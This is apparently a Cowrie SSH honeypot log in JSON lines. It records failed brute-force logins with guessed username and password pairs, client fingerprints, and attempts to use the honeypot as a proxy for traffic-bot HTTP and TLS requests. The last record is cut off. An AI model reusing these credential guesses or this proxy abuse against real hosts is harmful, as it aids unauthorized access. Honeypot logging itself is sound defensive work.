{"eventid":"cowrie.login.failed","username":"nagios","password":"Nag1os","message":"login attempt [nagios/Nag1os] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:35:44.985538Z","src_ip":"91.92.40.36","session":"b3649cf86664","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":59656,"dst_ip":"159.203.135.109","dst_port":22,"session":"929a62ad91de","protocol":"ssh","message":"New connection: 91.92.40.36:59656 (159.203.135.109:22) [session: 929a62ad91de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:35:46.211506Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:35:46.286428Z","src_ip":"91.92.40.36","session":"929a62ad91de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:35:46.384307Z","src_ip":"91.92.40.36","session":"929a62ad91de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.5","message":"Connection lost after 6.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:35:46.935634Z","src_ip":"91.92.40.36","session":"b3649cf86664","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"port","message":"login attempt [user/port] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:35:47.519997Z","src_ip":"91.92.40.36","session":"929a62ad91de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:35:49.100782Z","src_ip":"91.92.40.36","session":"929a62ad91de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":59714,"dst_ip":"159.203.135.109","dst_port":22,"session":"e242b83060b2","protocol":"ssh","message":"New connection: 91.92.40.36:59714 (159.203.135.109:22) [session: e242b83060b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:35:52.779771Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:35:53.157602Z","src_ip":"91.92.40.36","session":"e242b83060b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:35:53.160608Z","src_ip":"91.92.40.36","session":"e242b83060b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jack","password":"password","message":"login attempt [jack/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:35:55.404935Z","src_ip":"91.92.40.36","session":"e242b83060b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.6","message":"Connection lost after 4.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:35:57.410131Z","src_ip":"91.92.40.36","session":"e242b83060b2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:35:58.709898Z","session":"9bc50996e4fa","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:35:58.714658Z","session":"9bc50996e4fa","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:35:58.770829Z","src_ip":"23.175.50.52","session":"9bc50996e4fa","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPad; CPU OS 13_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.3.1 Mobile/17D50 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1192\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=YXhTOTZ7NHZuJHliOWlDQg%3D%3D5obUHtq%2FdrNVS2w6PFkaUolVcLVySALPxz9tlgZWHFFvMHL77fktaxgaLABPEVDdHA%2BkO9SmcTHDjdGs%2FK%2F3E0OzA76PVVW8%2BfJrwuvvDsMxuWE%2B3nl2sIjpz4eLSXzz%2BmNoiEQw2bLxZisS0yzjPvPPGdS%2FUeMTSFcTejdTRr7KJ2zK0uZo5%2FIl7S5E5RntA2l616SqFH%2BCL4%2BXgfjDXwVsGb%2B%2B57l%2F95l2xj73mbqE0UtSp8S2sLzthxy3s3CL8coBrBflp7qX28fYog18%2BMQbcBuqt7Tf7fPm1M2UP2SjXuzXGEN8dz%2BY4lwMTvFvwSLCzRWKMO%2F51izEdWiFRKpQiE6Tme68%2Bo2xNTxc8ePIyHVld6fA99wSDaLOvz%2FWBw7R7Qp5MpYFmGHvgPBoEOeqCuBlMxoF13VDnohiEyP%2BNWeVjZob9QAfEDsHn6BlxnjrMVcQqzlVW5qk4qF%2F6rEuh9xV3Z4Ycz%2FW3u54QM5sihbu8YOL53NSTDxFUgRjchewM5txCXHrPZA3xuiJWZNIutfv53JJsxEIlz5jxtVtPCwLvaIp%2B2xgm7TugZGqYNkctJaVUAqVmSpdGuXXbtY8PcXPjtcy8gHLRu2OJuXtdHw7p2Ply1ISxmlu2Ge%2ByJxqwuL5OexsVFTb1tX1eCuqtH9Dxur95I%2BqFCOwFTFCgdnpBhjAQm%2FoukGrEI%2F4tWZVexSMXwvHKYJ7lfD8uGUBrEkN5HAvIzXZed3tR5apbUPa2cJiCR%2BoS06Lo3ips0MBYV3sdTanQ%2Bezj3j8b3xhKPCwYcEzGfGfc7HB7Dsl85LkKDF%2FwU2Kj91nG9n04G2M9X0NU5Y%2BZW5XmirrAnXy0BaumQnMrV7Z3loi47%2BSLVbFIIN06uUHUSmJog6757sz1hnMeL%2FPI7Hm74q0rrojtq23LgQw0geKU3lEEfGys8YhPqM1ltchl0G5KN%2FC1kTPEMtiv7k%2Bfd%2BGNrnxFS9NDAES7toDStwvKOzFywMNc4HAqsN9R1Dz3F5I09%2BPL29gVlVKhNsaGAo5k0QqgtLXn4anFnlzVFZCCXQC23wCzm3OhsgnmyK8G0lz9KGY'","id":1,"message":"discarded direct-tcp forward request 1 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPad; CPU OS 13_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.3.1 Mobile/17D50 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1192\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=YXhTOTZ7NHZuJHliOWlDQg%3D%3D5obUHtq%2FdrNVS2w6PFkaUolVcLVySALPxz9tlgZWHFFvMHL77fktaxgaLABPEVDdHA%2BkO9SmcTHDjdGs%2FK%2F3E0OzA76PVVW8%2BfJrwuvvDsMxuWE%2B3nl2sIjpz4eLSXzz%2BmNoiEQw2bLxZisS0yzjPvPPGdS%2FUeMTSFcTejdTRr7KJ2zK0uZo5%2FIl7S5E5RntA2l616SqFH%2BCL4%2BXgfjDXwVsGb%2B%2B57l%2F95l2xj73mbqE0UtSp8S2sLzthxy3s3CL8coBrBflp7qX28fYog18%2BMQbcBuqt7Tf7fPm1M2UP2SjXuzXGEN8dz%2BY4lwMTvFvwSLCzRWKMO%2F51izEdWiFRKpQiE6Tme68%2Bo2xNTxc8ePIyHVld6fA99wSDaLOvz%2FWBw7R7Qp5MpYFmGHvgPBoEOeqCuBlMxoF13VDnohiEyP%2BNWeVjZob9QAfEDsHn6BlxnjrMVcQqzlVW5qk4qF%2F6rEuh9xV3Z4Ycz%2FW3u54QM5sihbu8YOL53NSTDxFUgRjchewM5txCXHrPZA3xuiJWZNIutfv53JJsxEIlz5jxtVtPCwLvaIp%2B2xgm7TugZGqYNkctJaVUAqVmSpdGuXXbtY8PcXPjtcy8gHLRu2OJuXtdHw7p2Ply1ISxmlu2Ge%2ByJxqwuL5OexsVFTb1tX1eCuqtH9Dxur95I%2BqFCOwFTFCgdnpBhjAQm%2FoukGrEI%2F4tWZVexSMXwvHKYJ7lfD8uGUBrEkN5HAvIzXZed3tR5apbUPa2cJiCR%2BoS06Lo3ips0MBYV3sdTanQ%2Bezj3j8b3xhKPCwYcEzGfGfc7HB7Dsl85LkKDF%2FwU2Kj91nG9n04G2M9X0NU5Y%2BZW5XmirrAnXy0BaumQnMrV7Z3loi47%2BSLVbFIIN06uUHUSmJog6757sz1hnMeL%2FPI7Hm74q0rrojtq23LgQw0geKU3lEEfGys8YhPqM1ltchl0G5KN%2FC1kTPEMtiv7k%2Bfd%2BGNrnxFS9NDAES7toDStwvKOzFywMNc4HAqsN9R1Dz3F5I09%2BPL29gVlVKhNsaGAo5k0QqgtLXn4anFnlzVFZCCXQC23wCzm3OhsgnmyK8G0lz9KGY'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:35:58.774288Z","src_ip":"23.175.50.52","session":"9bc50996e4fa","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:35:58.778844Z","src_ip":"23.175.50.52","session":"9bc50996e4fa","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd6~\\xbdd\\x95o\\xcc\\xf0\\xd8\\xbe*\\xc6Q/\\x9b0p\\xdb`/\\xc8l\\xdb;\\xdad!\\x82\\x13\\xa3\\xc0\\x98 \\xe6\\xce\\xf18\\x17\\x99%'\\x94\\xa4=\\x01\\x89E}z*\\xedE\\xa6M\\xa7\\xdc\\xce\\xbe\\xc7\\xf9\\x84\\xf1\\xf3\\x98o\\x00 \\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 \\x06\\xf8\\x01M\\x88\\x91\\xf2\\xa4\\x1e\\xa2\\x10\\xd4\\xa8\\x8d\\xf1\\xaa\\xfb\\xa5\\xa1i\\xa6\\xea3\\xb1\\x8e\\x9a(\\xb6\\x93\\xadu^\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":0,"message":"discarded direct-tcp forward request 0 to 104.21.5.61:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd6~\\xbdd\\x95o\\xcc\\xf0\\xd8\\xbe*\\xc6Q/\\x9b0p\\xdb`/\\xc8l\\xdb;\\xdad!\\x82\\x13\\xa3\\xc0\\x98 \\xe6\\xce\\xf18\\x17\\x99%'\\x94\\xa4=\\x01\\x89E}z*\\xedE\\xa6M\\xa7\\xdc\\xce\\xbe\\xc7\\xf9\\x84\\xf1\\xf3\\x98o\\x00 \\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 \\x06\\xf8\\x01M\\x88\\x91\\xf2\\xa4\\x1e\\xa2\\x10\\xd4\\xa8\\x8d\\xf1\\xaa\\xfb\\xa5\\xa1i\\xa6\\xea3\\xb1\\x8e\\x9a(\\xb6\\x93\\xadu^\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:35:58.783622Z","src_ip":"23.175.50.52","session":"9bc50996e4fa","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:35:58.891463Z","session":"9bc50996e4fa","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:35:58.948599Z","src_ip":"23.175.50.52","session":"9bc50996e4fa","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xcfv\\xc8R\\x8a\\xc5\\xb1j3\\xcd\\xc8M\\xa7\\x8e\\xf9\\xc6\\xb3xA\\x8e<a\\xc4N\\xda\\xf9\\xfb\\x05\\x88\\xe0\\xb7\\xf4 1q\\x93\\x89\\xf3w#\\x84o\\xe6\\xb2\\xd2\\xf3\\xc7\\x0e\\xe8)M)#\\x19I\\t\\xb3\\xfet\\x96#\\x08\\x97\\xb0\\xdb\\x00\"**\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 \\xa6vR\\xe7j\\xe1i\\xf6\\xdc2(=\\x1b\\xb4\\xe4\\n\\x1d\\xa2\\xd8\\xa2\\xef\\xe1\\xba\\x84b}!|\\'x\\xcf\\x02\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xda\\xda\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xcfv\\xc8R\\x8a\\xc5\\xb1j3\\xcd\\xc8M\\xa7\\x8e\\xf9\\xc6\\xb3xA\\x8e<a\\xc4N\\xda\\xf9\\xfb\\x05\\x88\\xe0\\xb7\\xf4 1q\\x93\\x89\\xf3w#\\x84o\\xe6\\xb2\\xd2\\xf3\\xc7\\x0e\\xe8)M)#\\x19I\\t\\xb3\\xfet\\x96#\\x08\\x97\\xb0\\xdb\\x00\"**\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01